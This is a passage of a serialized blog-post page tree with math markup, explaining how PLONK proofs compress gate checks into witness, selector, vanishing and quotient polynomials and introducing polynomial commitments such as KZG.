",{"type":23,"tag":71,"props":144444,"children":144446},{"className":144445},[6318,6319],[144447],{"type":23,"tag":230,"props":144448,"children":144450},{"className":144449},[6324],[144451],{"type":23,"tag":230,"props":144452,"children":144454},{"className":144453,"ariaHidden":1726},[6329],[144455,144533],{"type":23,"tag":230,"props":144456,"children":144458},{"className":144457},[6334],[144459,144463,144520,144524,144529],{"type":23,"tag":230,"props":144460,"children":144462},{"className":144461,"style":111716},[6339],[],{"type":23,"tag":230,"props":144464,"children":144466},{"className":144465},[6345],[144467,144472],{"type":23,"tag":230,"props":144468,"children":144470},{"className":144469,"style":95312},[6345,23902],[144471],{"type":29,"value":95315},{"type":23,"tag":230,"props":144473,"children":144475},{"className":144474},[6362],[144476],{"type":23,"tag":230,"props":144477,"children":144479},{"className":144478},[6367,23956],[144480,144509],{"type":23,"tag":230,"props":144481,"children":144483},{"className":144482},[6372],[144484,144504],{"type":23,"tag":230,"props":144485,"children":144487},{"className":144486,"style":144381},[6377],[144488],{"type":23,"tag":230,"props":144489,"children":144490},{"style":95359},[144491,144495],{"type":23,"tag":230,"props":144492,"children":144494},{"className":144493,"style":6387},[6386],[],{"type":23,"tag":230,"props":144496,"children":144498},{"className":144497},[6392,6393,6394,6395],[144499],{"type":23,"tag":230,"props":144500,"children":144502},{"className":144501},[6345,23902,6395],[144503],{"type":29,"value":119790},{"type":23,"tag":230,"props":144505,"children":144507},{"className":144506},[24059],[144508],{"type":29,"value":24062},{"type":23,"tag":230,"props":144510,"children":144512},{"className":144511},[6372],[144513],{"type":23,"tag":230,"props":144514,"children":144516},{"className":144515,"style":94909},[6377],[144517],{"type":23,"tag":230,"props":144518,"children":144519},{},[],{"type":23,"tag":230,"props":144521,"children":144523},{"className":144522,"style":6524},[6426],[],{"type":23,"tag":230,"props":144525,"children":144527},{"className":144526},[6529],[144528],{"type":29,"value":863},{"type":23,"tag":230,"props":144530,"children":144532},{"className":144531,"style":6524},[6426],[],{"type":23,"tag":230,"props":144534,"children":144536},{"className":144535},[6334],[144537,144541],{"type":23,"tag":230,"props":144538,"children":144540},{"className":144539,"style":95857},[6339],[],{"type":23,"tag":230,"props":144542,"children":144544},{"className":144543},[6345],[144545],{"type":29,"value":6348},{"type":29,"value":144547}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":23,"tag":2258,"props":144549,"children":144550},{},[144551],{"type":29,"value":144552},"permutation argument",{"type":29,"value":144554}," for that, which we will not cover here.",{"type":23,"tag":59,"props":144556,"children":144558},{"id":144557},"from-many-checks-to-one",[144559],{"type":29,"value":144560},"From many checks to one",{"type":23,"tag":32,"props":144562,"children":144563},{},[144564,144566,144571,144572,144664,144665,144757,144758,144850,144852,144857,144858,144950,144951,145043,145045,145070,145072,145097,145099,145191,145193,145218,145220,145245],{"type":29,"value":144565},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":23,"tag":2258,"props":144567,"children":144568},{},[144569],{"type":29,"value":144570},"witness polynomials",{"type":29,"value":3374},{"type":23,"tag":71,"props":144573,"children":144575},{"className":144574},[6318,6319],[144576],{"type":23,"tag":230,"props":144577,"children":144579},{"className":144578},[6324],[144580],{"type":23,"tag":230,"props":144581,"children":144583},{"className":144582,"ariaHidden":1726},[6329],[144584],{"type":23,"tag":230,"props":144585,"children":144587},{"className":144586},[6334],[144588,144592,144649,144654,144659],{"type":23,"tag":230,"props":144589,"children":144591},{"className":144590,"style":6447},[6339],[],{"type":23,"tag":230,"props":144593,"children":144595},{"className":144594},[6345],[144596,144601],{"type":23,"tag":230,"props":144597,"children":144599},{"className":144598,"style":97180},[6345,23902],[144600],{"type":29,"value":35377},{"type":23,"tag":230,"props":144602,"children":144604},{"className":144603},[6362],[144605],{"type":23,"tag":230,"props":144606,"children":144608},{"className":144607},[6367,23956],[144609,144638],{"type":23,"tag":230,"props":144610,"children":144612},{"className":144611},[6372],[144613,144633],{"type":23,"tag":230,"props":144614,"children":144616},{"className":144615,"style":144381},[6377],[144617],{"type":23,"tag":230,"props":144618,"children":144619},{"style":97201},[144620,144624],{"type":23,"tag":230,"props":144621,"children":144623},{"className":144622,"style":6387},[6386],[],{"type":23,"tag":230,"props":144625,"children":144627},{"className":144626},[6392,6393,6394,6395],[144628],{"type":23,"tag":230,"props":144629,"children":144631},{"className":144630},[6345,23902,6395],[144632],{"type":29,"value":119790},{"type":23,"tag":230,"props":144634,"children":144636},{"className":144635},[24059],[144637],{"type":29,"value":24062},{"type":23,"tag":230,"props":144639,"children":144641},{"className":144640},[6372],[144642],{"type":23,"tag":230,"props":144643,"children":144645},{"className":144644,"style":94909},[6377],[144646],{"type":23,"tag":230,"props":144647,"children":144648},{},[],{"type":23,"tag":230,"props":144650,"children":144652},{"className":144651},[24031],[144653],{"type":29,"value":302},{"type":23,"tag":230,"props":144655,"children":144657},{"className":144656},[6345,23902],[144658],{"type":29,"value":4511},{"type":23,"tag":230,"props":144660,"children":144662},{"className":144661},[24053],[144663],{"type":29,"value":5467},{"type":29,"value":684},{"type":23,"tag":71,"props":144666,"children":144668},{"className":144667},[6318,6319],[144669],{"type":23,"tag":230,"props":144670,"children":144672},{"className":144671},[6324],[144673],{"type":23,"tag":230,"props":144674,"children":144676},{"className":144675,"ariaHidden":1726},[6329],[144677],{"type":23,"tag":230,"props":144678,"children":144680},{"className":144679},[6334],[144681,144685,144742,144747,144752],{"type":23,"tag":230,"props":144682,"children":144684},{"className":144683,"style":6447},[6339],[],{"type":23,"tag":230,"props":144686,"children":144688},{"className":144687},[6345],[144689,144694],{"type":23,"tag":230,"props":144690,"children":144692},{"className":144691,"style":97180},[6345,23902],[144693],{"type":29,"value":35377},{"type":23,"tag":230,"props":144695,"children":144697},{"className":144696},[6362],[144698],{"type":23,"tag":230,"props":144699,"children":144701},{"className":144700},[6367,23956],[144702,144731],{"type":23,"tag":230,"props":144703,"children":144705},{"className":144704},[6372],[144706,144726],{"type":23,"tag":230,"props":144707,"children":144709},{"className":144708,"style":144381},[6377],[144710],{"type":23,"tag":230,"props":144711,"children":144712},{"style":97201},[144713,144717],{"type":23,"tag":230,"props":144714,"children":144716},{"className":144715,"style":6387},[6386],[],{"type":23,"tag":230,"props":144718,"children":144720},{"className":144719},[6392,6393,6394,6395],[144721],{"type":23,"tag":230,"props":144722,"children":144724},{"className":144723,"style":124603},[6345,23902,6395],[144725],{"type":29,"value":124606},{"type":23,"tag":230,"props":144727,"children":144729},{"className":144728},[24059],[144730],{"type":29,"value":24062},{"type":23,"tag":230,"props":144732,"children":144734},{"className":144733},[6372],[144735],{"type":23,"tag":230,"props":144736,"children":144738},{"className":144737,"style":94909},[6377],[144739],{"type":23,"tag":230,"props":144740,"children":144741},{},[],{"type":23,"tag":230,"props":144743,"children":144745},{"className":144744},[24031],[144746],{"type":29,"value":302},{"type":23,"tag":230,"props":144748,"children":144750},{"className":144749},[6345,23902],[144751],{"type":29,"value":4511},{"type":23,"tag":230,"props":144753,"children":144755},{"className":144754},[24053],[144756],{"type":29,"value":5467},{"type":29,"value":684},{"type":23,"tag":71,"props":144759,"children":144761},{"className":144760},[6318,6319],[144762],{"type":23,"tag":230,"props":144763,"children":144765},{"className":144764},[6324],[144766],{"type":23,"tag":230,"props":144767,"children":144769},{"className":144768,"ariaHidden":1726},[6329],[144770],{"type":23,"tag":230,"props":144771,"children":144773},{"className":144772},[6334],[144774,144778,144835,144840,144845],{"type":23,"tag":230,"props":144775,"children":144777},{"className":144776,"style":6447},[6339],[],{"type":23,"tag":230,"props":144779,"children":144781},{"className":144780},[6345],[144782,144787],{"type":23,"tag":230,"props":144783,"children":144785},{"className":144784,"style":97180},[6345,23902],[144786],{"type":29,"value":35377},{"type":23,"tag":230,"props":144788,"children":144790},{"className":144789},[6362],[144791],{"type":23,"tag":230,"props":144792,"children":144794},{"className":144793},[6367,23956],[144795,144824],{"type":23,"tag":230,"props":144796,"children":144798},{"className":144797},[6372],[144799,144819],{"type":23,"tag":230,"props":144800,"children":144802},{"className":144801,"style":144381},[6377],[144803],{"type":23,"tag":230,"props":144804,"children":144805},{"style":97201},[144806,144810],{"type":23,"tag":230,"props":144807,"children":144809},{"className":144808,"style":6387},[6386],[],{"type":23,"tag":230,"props":144811,"children":144813},{"className":144812},[6392,6393,6394,6395],[144814],{"type":23,"tag":230,"props":144815,"children":144817},{"className":144816,"style":94826},[6345,23902,6395],[144818],{"type":29,"value":117145},{"type":23,"tag":230,"props":144820,"children":144822},{"className":144821},[24059],[144823],{"type":29,"value":24062},{"type":23,"tag":230,"props":144825,"children":144827},{"className":144826},[6372],[144828],{"type":23,"tag":230,"props":144829,"children":144831},{"className":144830,"style":94909},[6377],[144832],{"type":23,"tag":230,"props":144833,"children":144834},{},[],{"type":23,"tag":230,"props":144836,"children":144838},{"className":144837},[24031],[144839],{"type":29,"value":302},{"type":23,"tag":230,"props":144841,"children":144843},{"className":144842},[6345,23902],[144844],{"type":29,"value":4511},{"type":23,"tag":230,"props":144846,"children":144848},{"className":144847},[24053],[144849],{"type":29,"value":5467},{"type":29,"value":144851}," and the selectors become ",{"type":23,"tag":2258,"props":144853,"children":144854},{},[144855],{"type":29,"value":144856},"selector polynomials",{"type":29,"value":3374},{"type":23,"tag":71,"props":144859,"children":144861},{"className":144860},[6318,6319],[144862],{"type":23,"tag":230,"props":144863,"children":144865},{"className":144864},[6324],[144866],{"type":23,"tag":230,"props":144867,"children":144869},{"className":144868,"ariaHidden":1726},[6329],[144870],{"type":23,"tag":230,"props":144871,"children":144873},{"className":144872},[6334],[144874,144878,144935,144940,144945],{"type":23,"tag":230,"props":144875,"children":144877},{"className":144876,"style":6447},[6339],[],{"type":23,"tag":230,"props":144879,"children":144881},{"className":144880},[6345],[144882,144887],{"type":23,"tag":230,"props":144883,"children":144885},{"className":144884},[6345,23902],[144886],{"type":29,"value":78581},{"type":23,"tag":230,"props":144888,"children":144890},{"className":144889},[6362],[144891],{"type":23,"tag":230,"props":144892,"children":144894},{"className":144893},[6367,23956],[144895,144924],{"type":23,"tag":230,"props":144896,"children":144898},{"className":144897},[6372],[144899,144919],{"type":23,"tag":230,"props":144900,"children":144902},{"className":144901,"style":144381},[6377],[144903],{"type":23,"tag":230,"props":144904,"children":144905},{"style":94882},[144906,144910],{"type":23,"tag":230,"props":144907,"children":144909},{"className":144908,"style":6387},[6386],[],{"type":23,"tag":230,"props":144911,"children":144913},{"className":144912},[6392,6393,6394,6395],[144914],{"type":23,"tag":230,"props":144915,"children":144917},{"className":144916,"style":96834},[6345,23902,6395],[144918],{"type":29,"value":96837},{"type":23,"tag":230,"props":144920,"children":144922},{"className":144921},[24059],[144923],{"type":29,"value":24062},{"type":23,"tag":230,"props":144925,"children":144927},{"className":144926},[6372],[144928],{"type":23,"tag":230,"props":144929,"children":144931},{"className":144930,"style":94909},[6377],[144932],{"type":23,"tag":230,"props":144933,"children":144934},{},[],{"type":23,"tag":230,"props":144936,"children":144938},{"className":144937},[24031],[144939],{"type":29,"value":302},{"type":23,"tag":230,"props":144941,"children":144943},{"className":144942},[6345,23902],[144944],{"type":29,"value":4511},{"type":23,"tag":230,"props":144946,"children":144948},{"className":144947},[24053],[144949],{"type":29,"value":5467},{"type":29,"value":684},{"type":23,"tag":71,"props":144952,"children":144954},{"className":144953},[6318,6319],[144955],{"type":23,"tag":230,"props":144956,"children":144958},{"className":144957},[6324],[144959],{"type":23,"tag":230,"props":144960,"children":144962},{"className":144961,"ariaHidden":1726},[6329],[144963],{"type":23,"tag":230,"props":144964,"children":144966},{"className":144965},[6334],[144967,144971,145028,145033,145038],{"type":23,"tag":230,"props":144968,"children":144970},{"className":144969,"style":6447},[6339],[],{"type":23,"tag":230,"props":144972,"children":144974},{"className":144973},[6345],[144975,144980],{"type":23,"tag":230,"props":144976,"children":144978},{"className":144977},[6345,23902],[144979],{"type":29,"value":78581},{"type":23,"tag":230,"props":144981,"children":144983},{"className":144982},[6362],[144984],{"type":23,"tag":230,"props":144985,"children":144987},{"className":144986},[6367,23956],[144988,145017],{"type":23,"tag":230,"props":144989,"children":144991},{"className":144990},[6372],[144992,145012],{"type":23,"tag":230,"props":144993,"children":144995},{"className":144994,"style":144381},[6377],[144996],{"type":23,"tag":230,"props":144997,"children":144998},{"style":94882},[144999,145003],{"type":23,"tag":230,"props":145000,"children":145002},{"className":145001,"style":6387},[6386],[],{"type":23,"tag":230,"props":145004,"children":145006},{"className":145005},[6392,6393,6394,6395],[145007],{"type":23,"tag":230,"props":145008,"children":145010},{"className":145009},[6345,23902,6395],[145011],{"type":29,"value":119790},{"type":23,"tag":230,"props":145013,"children":145015},{"className":145014},[24059],[145016],{"type":29,"value":24062},{"type":23,"tag":230,"props":145018,"children":145020},{"className":145019},[6372],[145021],{"type":23,"tag":230,"props":145022,"children":145024},{"className":145023,"style":94909},[6377],[145025],{"type":23,"tag":230,"props":145026,"children":145027},{},[],{"type":23,"tag":230,"props":145029,"children":145031},{"className":145030},[24031],[145032],{"type":29,"value":302},{"type":23,"tag":230,"props":145034,"children":145036},{"className":145035},[6345,23902],[145037],{"type":29,"value":4511},{"type":23,"tag":230,"props":145039,"children":145041},{"className":145040},[24053],[145042],{"type":29,"value":5467},{"type":29,"value":145044},", etc., all interpolated over a domain ",{"type":23,"tag":71,"props":145046,"children":145048},{"className":145047},[6318,6319],[145049],{"type":23,"tag":230,"props":145050,"children":145052},{"className":145051},[6324],[145053],{"type":23,"tag":230,"props":145054,"children":145056},{"className":145055,"ariaHidden":1726},[6329],[145057],{"type":23,"tag":230,"props":145058,"children":145060},{"className":145059},[6334],[145061,145065],{"type":23,"tag":230,"props":145062,"children":145064},{"className":145063,"style":23897},[6339],[],{"type":23,"tag":230,"props":145066,"children":145068},{"className":145067,"style":95060},[6345,23902],[145069],{"type":29,"value":95063},{"type":29,"value":145071}," of ",{"type":23,"tag":71,"props":145073,"children":145075},{"className":145074},[6318,6319],[145076],{"type":23,"tag":230,"props":145077,"children":145079},{"className":145078},[6324],[145080],{"type":23,"tag":230,"props":145081,"children":145083},{"className":145082,"ariaHidden":1726},[6329],[145084],{"type":23,"tag":230,"props":145085,"children":145087},{"className":145086},[6334],[145088,145092],{"type":23,"tag":230,"props":145089,"children":145091},{"className":145090,"style":112667},[6339],[],{"type":23,"tag":230,"props":145093,"children":145095},{"className":145094},[6345,23902],[145096],{"type":29,"value":58177},{"type":29,"value":145098},"-th roots of unity. Evaluating ",{"type":23,"tag":71,"props":145100,"children":145102},{"className":145101},[6318,6319],[145103],{"type":23,"tag":230,"props":145104,"children":145106},{"className":145105},[6324],[145107],{"type":23,"tag":230,"props":145108,"children":145110},{"className":145109,"ariaHidden":1726},[6329],[145111],{"type":23,"tag":230,"props":145112,"children":145114},{"className":145113},[6334],[145115,145119,145176,145181,145186],{"type":23,"tag":230,"props":145116,"children":145118},{"className":145117,"style":6447},[6339],[],{"type":23,"tag":230,"props":145120,"children":145122},{"className":145121},[6345],[145123,145128],{"type":23,"tag":230,"props":145124,"children":145126},{"className":145125,"style":97180},[6345,23902],[145127],{"type":29,"value":35377},{"type":23,"tag":230,"props":145129,"children":145131},{"className":145130},[6362],[145132],{"type":23,"tag":230,"props":145133,"children":145135},{"className":145134},[6367,23956],[145136,145165],{"type":23,"tag":230,"props":145137,"children":145139},{"className":145138},[6372],[145140,145160],{"type":23,"tag":230,"props":145141,"children":145143},{"className":145142,"style":144381},[6377],[145144],{"type":23,"tag":230,"props":145145,"children":145146},{"style":97201},[145147,145151],{"type":23,"tag":230,"props":145148,"children":145150},{"className":145149,"style":6387},[6386],[],{"type":23,"tag":230,"props":145152,"children":145154},{"className":145153},[6392,6393,6394,6395],[145155],{"type":23,"tag":230,"props":145156,"children":145158},{"className":145157},[6345,23902,6395],[145159],{"type":29,"value":119790},{"type":23,"tag":230,"props":145161,"children":145163},{"className":145162},[24059],[145164],{"type":29,"value":24062},{"type":23,"tag":230,"props":145166,"children":145168},{"className":145167},[6372],[145169],{"type":23,"tag":230,"props":145170,"children":145172},{"className":145171,"style":94909},[6377],[145173],{"type":23,"tag":230,"props":145174,"children":145175},{},[],{"type":23,"tag":230,"props":145177,"children":145179},{"className":145178},[24031],[145180],{"type":29,"value":302},{"type":23,"tag":230,"props":145182,"children":145184},{"className":145183},[6345,23902],[145185],{"type":29,"value":4511},{"type":23,"tag":230,"props":145187,"children":145189},{"className":145188},[24053],[145190],{"type":29,"value":5467},{"type":29,"value":145192}," at the ",{"type":23,"tag":71,"props":145194,"children":145196},{"className":145195},[6318,6319],[145197],{"type":23,"tag":230,"props":145198,"children":145200},{"className":145199},[6324],[145201],{"type":23,"tag":230,"props":145202,"children":145204},{"className":145203,"ariaHidden":1726},[6329],[145205],{"type":23,"tag":230,"props":145206,"children":145208},{"className":145207},[6334],[145209,145213],{"type":23,"tag":230,"props":145210,"children":145212},{"className":145211,"style":144077},[6339],[],{"type":23,"tag":230,"props":145214,"children":145216},{"className":145215},[6345,23902],[145217],{"type":29,"value":6074},{"type":29,"value":145219},"-th root recovers the left wire value at row ",{"type":23,"tag":71,"props":145221,"children":145223},{"className":145222},[6318,6319],[145224],{"type":23,"tag":230,"props":145225,"children":145227},{"className":145226},[6324],[145228],{"type":23,"tag":230,"props":145229,"children":145231},{"className":145230,"ariaHidden":1726},[6329],[145232],{"type":23,"tag":230,"props":145233,"children":145235},{"className":145234},[6334],[145236,145240],{"type":23,"tag":230,"props":145237,"children":145239},{"className":145238,"style":144077},[6339],[],{"type":23,"tag":230,"props":145241,"children":145243},{"className":145242},[6345,23902],[145244],{"type":29,"value":6074},{"type":29,"value":312},{"type":23,"tag":145247,"props":145248,"children":145249},"polynomial-interpolation-panel",{},[],{"type":23,"tag":32,"props":145251,"children":145252},{},[145253,145255,145295,145297,145363,145365,145495,145497,145537,145539,145579,145581,145621,145622,145744],{"type":29,"value":145254},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":23,"tag":71,"props":145256,"children":145258},{"className":145257},[6318,6319],[145259],{"type":23,"tag":230,"props":145260,"children":145262},{"className":145261},[6324],[145263],{"type":23,"tag":230,"props":145264,"children":145266},{"className":145265,"ariaHidden":1726},[6329],[145267],{"type":23,"tag":230,"props":145268,"children":145270},{"className":145269},[6334],[145271,145275,145280,145285,145290],{"type":23,"tag":230,"props":145272,"children":145274},{"className":145273,"style":6447},[6339],[],{"type":23,"tag":230,"props":145276,"children":145278},{"className":145277,"style":23903},[6345,23902],[145279],{"type":29,"value":123604},{"type":23,"tag":230,"props":145281,"children":145283},{"className":145282},[24031],[145284],{"type":29,"value":302},{"type":23,"tag":230,"props":145286,"children":145288},{"className":145287},[6345,23902],[145289],{"type":29,"value":4511},{"type":23,"tag":230,"props":145291,"children":145293},{"className":145292},[24053],[145294],{"type":29,"value":5467},{"type":29,"value":145296}," that combines selectors and witnesses. If the prover was honest, ",{"type":23,"tag":71,"props":145298,"children":145300},{"className":145299},[6318,6319],[145301],{"type":23,"tag":230,"props":145302,"children":145304},{"className":145303},[6324],[145305],{"type":23,"tag":230,"props":145306,"children":145308},{"className":145307,"ariaHidden":1726},[6329],[145309,145350],{"type":23,"tag":230,"props":145310,"children":145312},{"className":145311},[6334],[145313,145317,145322,145327,145332,145337,145341,145346],{"type":23,"tag":230,"props":145314,"children":145316},{"className":145315,"style":6447},[6339],[],{"type":23,"tag":230,"props":145318,"children":145320},{"className":145319,"style":23903},[6345,23902],[145321],{"type":29,"value":123604},{"type":23,"tag":230,"props":145323,"children":145325},{"className":145324},[24031],[145326],{"type":29,"value":302},{"type":23,"tag":230,"props":145328,"children":145330},{"className":145329},[6345,23902],[145331],{"type":29,"value":4511},{"type":23,"tag":230,"props":145333,"children":145335},{"className":145334},[24053],[145336],{"type":29,"value":5467},{"type":23,"tag":230,"props":145338,"children":145340},{"className":145339,"style":6524},[6426],[],{"type":23,"tag":230,"props":145342,"children":145344},{"className":145343},[6529],[145345],{"type":29,"value":863},{"type":23,"tag":230,"props":145347,"children":145349},{"className":145348,"style":6524},[6426],[],{"type":23,"tag":230,"props":145351,"children":145353},{"className":145352},[6334],[145354,145358],{"type":23,"tag":230,"props":145355,"children":145357},{"className":145356,"style":95857},[6339],[],{"type":23,"tag":230,"props":145359,"children":145361},{"className":145360},[6345],[145362],{"type":29,"value":6358},{"type":29,"value":145364}," at every row index in the domain. The vanishing polynomial ",{"type":23,"tag":71,"props":145366,"children":145368},{"className":145367},[6318,6319],[145369],{"type":23,"tag":230,"props":145370,"children":145372},{"className":145371},[6324],[145373],{"type":23,"tag":230,"props":145374,"children":145376},{"className":145375,"ariaHidden":1726},[6329],[145377,145419,145482],{"type":23,"tag":230,"props":145378,"children":145380},{"className":145379},[6334],[145381,145385,145391,145396,145401,145406,145410,145415],{"type":23,"tag":230,"props":145382,"children":145384},{"className":145383,"style":6447},[6339],[],{"type":23,"tag":230,"props":145386,"children":145388},{"className":145387,"style":24434},[6345,23902],[145389],{"type":29,"value":145390},"Z",{"type":23,"tag":230,"props":145392,"children":145394},{"className":145393},[24031],[145395],{"type":29,"value":302},{"type":23,"tag":230,"props":145397,"children":145399},{"className":145398},[6345,23902],[145400],{"type":29,"value":4511},{"type":23,"tag":230,"props":145402,"children":145404},{"className":145403},[24053],[145405],{"type":29,"value":5467},{"type":23,"tag":230,"props":145407,"children":145409},{"className":145408,"style":6524},[6426],[],{"type":23,"tag":230,"props":145411,"children":145413},{"className":145412},[6529],[145414],{"type":29,"value":863},{"type":23,"tag":230,"props":145416,"children":145418},{"className":145417,"style":6524},[6426],[],{"type":23,"tag":230,"props":145420,"children":145422},{"className":145421},[6334],[145423,145428,145469,145473,145478],{"type":23,"tag":230,"props":145424,"children":145427},{"className":145425,"style":145426},[6339],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":23,"tag":230,"props":145429,"children":145431},{"className":145430},[6345],[145432,145437],{"type":23,"tag":230,"props":145433,"children":145435},{"className":145434},[6345,23902],[145436],{"type":29,"value":4511},{"type":23,"tag":230,"props":145438,"children":145440},{"className":145439},[6362],[145441],{"type":23,"tag":230,"props":145442,"children":145444},{"className":145443},[6367],[145445],{"type":23,"tag":230,"props":145446,"children":145448},{"className":145447},[6372],[145449],{"type":23,"tag":230,"props":145450,"children":145452},{"className":145451,"style":110543},[6377],[145453],{"type":23,"tag":230,"props":145454,"children":145455},{"style":6381},[145456,145460],{"type":23,"tag":230,"props":145457,"children":145459},{"className":145458,"style":6387},[6386],[],{"type":23,"tag":230,"props":145461,"children":145463},{"className":145462},[6392,6393,6394,6395],[145464],{"type":23,"tag":230,"props":145465,"children":145467},{"className":145466},[6345,23902,6395],[145468],{"type":29,"value":58177},{"type":23,"tag":230,"props":145470,"children":145472},{"className":145471,"style":6427},[6426],[],{"type":23,"tag":230,"props":145474,"children":145476},{"className":145475},[6432],[145477],{"type":29,"value":6406},{"type":23,"tag":230,"props":145479,"children":145481},{"className":145480,"style":6427},[6426],[],{"type":23,"tag":230,"props":145483,"children":145485},{"className":145484},[6334],[145486,145490],{"type":23,"tag":230,"props":145487,"children":145489},{"className":145488,"style":95857},[6339],[],{"type":23,"tag":230,"props":145491,"children":145493},{"className":145492},[6345],[145494],{"type":29,"value":6348},{"type":29,"value":145496}," is zero on exactly those points, so if all constraints hold then ",{"type":23,"tag":71,"props":145498,"children":145500},{"className":145499},[6318,6319],[145501],{"type":23,"tag":230,"props":145502,"children":145504},{"className":145503},[6324],[145505],{"type":23,"tag":230,"props":145506,"children":145508},{"className":145507,"ariaHidden":1726},[6329],[145509],{"type":23,"tag":230,"props":145510,"children":145512},{"className":145511},[6334],[145513,145517,145522,145527,145532],{"type":23,"tag":230,"props":145514,"children":145516},{"className":145515,"style":6447},[6339],[],{"type":23,"tag":230,"props":145518,"children":145520},{"className":145519,"style":24434},[6345,23902],[145521],{"type":29,"value":145390},{"type":23,"tag":230,"props":145523,"children":145525},{"className":145524},[24031],[145526],{"type":29,"value":302},{"type":23,"tag":230,"props":145528,"children":145530},{"className":145529},[6345,23902],[145531],{"type":29,"value":4511},{"type":23,"tag":230,"props":145533,"children":145535},{"className":145534},[24053],[145536],{"type":29,"value":5467},{"type":29,"value":145538}," divides ",{"type":23,"tag":71,"props":145540,"children":145542},{"className":145541},[6318,6319],[145543],{"type":23,"tag":230,"props":145544,"children":145546},{"className":145545},[6324],[145547],{"type":23,"tag":230,"props":145548,"children":145550},{"className":145549,"ariaHidden":1726},[6329],[145551],{"type":23,"tag":230,"props":145552,"children":145554},{"className":145553},[6334],[145555,145559,145564,145569,145574],{"type":23,"tag":230,"props":145556,"children":145558},{"className":145557,"style":6447},[6339],[],{"type":23,"tag":230,"props":145560,"children":145562},{"className":145561,"style":23903},[6345,23902],[145563],{"type":29,"value":123604},{"type":23,"tag":230,"props":145565,"children":145567},{"className":145566},[24031],[145568],{"type":29,"value":302},{"type":23,"tag":230,"props":145570,"children":145572},{"className":145571},[6345,23902],[145573],{"type":29,"value":4511},{"type":23,"tag":230,"props":145575,"children":145577},{"className":145576},[24053],[145578],{"type":29,"value":5467},{"type":29,"value":145580},", yielding a quotient polynomial ",{"type":23,"tag":71,"props":145582,"children":145584},{"className":145583},[6318,6319],[145585],{"type":23,"tag":230,"props":145586,"children":145588},{"className":145587},[6324],[145589],{"type":23,"tag":230,"props":145590,"children":145592},{"className":145591,"ariaHidden":1726},[6329],[145593],{"type":23,"tag":230,"props":145594,"children":145596},{"className":145595},[6334],[145597,145601,145606,145611,145616],{"type":23,"tag":230,"props":145598,"children":145600},{"className":145599,"style":6447},[6339],[],{"type":23,"tag":230,"props":145602,"children":145604},{"className":145603,"style":23903},[6345,23902],[145605],{"type":29,"value":8324},{"type":23,"tag":230,"props":145607,"children":145609},{"className":145608},[24031],[145610],{"type":29,"value":302},{"type":23,"tag":230,"props":145612,"children":145614},{"className":145613},[6345,23902],[145615],{"type":29,"value":4511},{"type":23,"tag":230,"props":145617,"children":145619},{"className":145618},[24053],[145620],{"type":29,"value":5467},{"type":29,"value":23818},{"type":23,"tag":71,"props":145623,"children":145625},{"className":145624},[6318,6319],[145626],{"type":23,"tag":230,"props":145627,"children":145629},{"className":145628},[6324],[145630],{"type":23,"tag":230,"props":145631,"children":145633},{"className":145632,"ariaHidden":1726},[6329],[145634,145675,145716],{"type":23,"tag":230,"props":145635,"children":145637},{"className":145636},[6334],[145638,145642,145647,145652,145657,145662,145666,145671],{"type":23,"tag":230,"props":145639,"children":145641},{"className":145640,"style":6447},[6339],[],{"type":23,"tag":230,"props":145643,"children":145645},{"className":145644,"style":23903},[6345,23902],[145646],{"type":29,"value":123604},{"type":23,"tag":230,"props":145648,"children":145650},{"className":145649},[24031],[145651],{"type":29,"value":302},{"type":23,"tag":230,"props":145653,"children":145655},{"className":145654},[6345,23902],[145656],{"type":29,"value":4511},{"type":23,"tag":230,"props":145658,"children":145660},{"className":145659},[24053],[145661],{"type":29,"value":5467},{"type":23,"tag":230,"props":145663,"children":145665},{"className":145664,"style":6524},[6426],[],{"type":23,"tag":230,"props":145667,"children":145669},{"className":145668},[6529],[145670],{"type":29,"value":863},{"type":23,"tag":230,"props":145672,"children":145674},{"className":145673,"style":6524},[6426],[],{"type":23,"tag":230,"props":145676,"children":145678},{"className":145677},[6334],[145679,145683,145688,145693,145698,145703,145707,145712],{"type":23,"tag":230,"props":145680,"children":145682},{"className":145681,"style":6447},[6339],[],{"type":23,"tag":230,"props":145684,"children":145686},{"className":145685,"style":23903},[6345,23902],[145687],{"type":29,"value":8324},{"type":23,"tag":230,"props":145689,"children":145691},{"className":145690},[24031],[145692],{"type":29,"value":302},{"type":23,"tag":230,"props":145694,"children":145696},{"className":145695},[6345,23902],[145697],{"type":29,"value":4511},{"type":23,"tag":230,"props":145699,"children":145701},{"className":145700},[24053],[145702],{"type":29,"value":5467},{"type":23,"tag":230,"props":145704,"children":145706},{"className":145705,"style":6427},[6426],[],{"type":23,"tag":230,"props":145708,"children":145710},{"className":145709},[6432],[145711],{"type":29,"value":113088},{"type":23,"tag":230,"props":145713,"children":145715},{"className":145714,"style":6427},[6426],[],{"type":23,"tag":230,"props":145717,"children":145719},{"className":145718},[6334],[145720,145724,145729,145734,145739],{"type":23,"tag":230,"props":145721,"children":145723},{"className":145722,"style":6447},[6339],[],{"type":23,"tag":230,"props":145725,"children":145727},{"className":145726,"style":24434},[6345,23902],[145728],{"type":29,"value":145390},{"type":23,"tag":230,"props":145730,"children":145732},{"className":145731},[24031],[145733],{"type":29,"value":302},{"type":23,"tag":230,"props":145735,"children":145737},{"className":145736},[6345,23902],[145738],{"type":29,"value":4511},{"type":23,"tag":230,"props":145740,"children":145742},{"className":145741},[24053],[145743],{"type":29,"value":5467},{"type":29,"value":312},{"type":23,"tag":32,"props":145746,"children":145747},{},[145748],{"type":23,"tag":93,"props":145749,"children":145752},{"alt":145750,"src":145751},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":23,"tag":59,"props":145754,"children":145756},{"id":145755},"polynomial-commitments-and-opening-proofs",[145757],{"type":29,"value":145758},"Polynomial commitments and opening proofs",{"type":23,"tag":32,"props":145760,"children":145761},{},[145762,145764,145769,145771,145776],{"type":29,"value":145763},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":23,"tag":2258,"props":145765,"children":145766},{},[145767],{"type":29,"value":145768},"commitments",{"type":29,"value":145770},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an 